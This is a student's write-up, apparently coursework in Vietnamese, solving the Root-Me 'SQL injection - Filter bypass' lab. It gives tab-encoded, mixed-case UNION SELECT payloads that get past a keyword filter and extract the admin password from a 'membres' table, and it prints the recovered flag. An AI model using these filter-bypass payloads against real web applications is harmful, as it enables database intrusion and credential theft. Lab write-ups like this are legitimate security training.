

Lê Hoàng Phúc

MSSV: 20521763

Lớp: Bảo mật web và ứng dụng - NT213.N21.ANTN

Tên challenge : SQL injection - Filter bypass

Link challenge : <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass>

Payload Id=2%09div%092

Trường id là 2 nhưng kết quả trả về là 1 chứng tỏ ta đã injection thành công:

The screenshot shows a web browser window with the following details:

- Address bar: Not secure | ur/ch30/?action=membres&id=2%09div%092
- Toolbar: Import favorites, Gmail, YouTube, Maps, New tab.
- Header: publier des solutions sur internet est interdit
- Content area:
  - Section title: Authentication | Membres
  - Data:
    - ID : 1
    - Username : admin
    - Email : admin@localhost

Dùng payload sau:

-  
1%09UniON%09SElect%09\*FroM%09(SELECT%091)a1%09JoiN%09(SELECT%092)a2%09JoiN%09  
(SeLECT%093)a3%09JoIN%09(SeLECT%094)a4

The screenshot shows a web browser window with the following details:

- Content area:
  - Section title: Authentication | Membres
  - Data:
    - ID : 1
    - Username : 2
    - Email : 4

View source thấy cấu trúc bảng:

```
3 <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css'>
4 <h3><a href="#">action=login">Authentification</a>&ampnbsp|&ampnbsp<a href="#">act
```

5 <!--  
6 // CREATE TABLE IF NOT EXISTS `membres` (  
7 // `id` int(1) NOT NULL AUTO\_INCREMENT,  
8 // `username` VARCHAR(5) NOT NULL,  
9 // `pass` VARCHAR(20) NOT NULL,  
10 // `email` VARCHAR( 50 ) NOT NULL,  
11 // PRIMARY KEY (`id`)  
12 // ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO\_INCREMENT=2 ;  
13 -->  
14

Exploit:

Payload:-

```
1%09UniON%09SElect%09*FroM%09(SELECT%09username%09fROM%09membres%09LIMIT%09  
1)a1%09JoiN%09(SELECT%09pass%09fROM%09membres%09LIMIT%091)a2%09JoiN%09(SeLECT  
%093)a3%09JoIN%09(SeLECT%094)a4
```

The screenshot shows a web browser displaying a login page titled "Authentification | Membres". The page contains the following user information:

ID	Username	Email
admin	KLfgyTlJbdhursqli	4

A small watermark in the top right corner reads "publier des solutions sur internet est interdit".

Flag: KLfgyTlJbdhursqli

Time : 30p

Challenges/Web - Server : SQL = X | SQL Injections by truncation = X | SQL injection - filter bypass = X | view-sourcechallenge0.root-me.org = X | view-sourcechallenge0.root-me.org = X | HTML URL Encoding Reference = X | URL Decode and Encode - Online = X

Import favorites Gmail YouTube Maps New tab

# Root Me

HOME / CHALLENGES / WEB - SERVER

## SQL injection - Filter bypass

80 Points 🎁

Authentication v0.03

Author sambecks, 21 July 2014

Level 🌱

Validations 1685 Challengers 1%

Note ⚡ ★★★★★ 220 Votes

I like I don't like

**Statement**

Retrieve the administrator's password.

[Start the challenge](#)

**12 related resource(s)**

- Blackhat Europe 2009 - Advanced SQL injection whitepaper (Exploitation - Web)
- Guide to PHP security : chapter 3 SQL injection (Exploitation - Web)
- Blackhat US 2006 : SQL Injections by truncation (Exploitation - Web)
- Manipulating SQL server using SQL injection (Exploitation - Web)
- White paper SQL Injection (Exploitation - Web)

Validation

Well done, you won 80 Points

Don't forget to give your opinion on the challenge by voting:-)

tweet it!

32°C Cố máy nái rác

7:29 PM 4/20/2023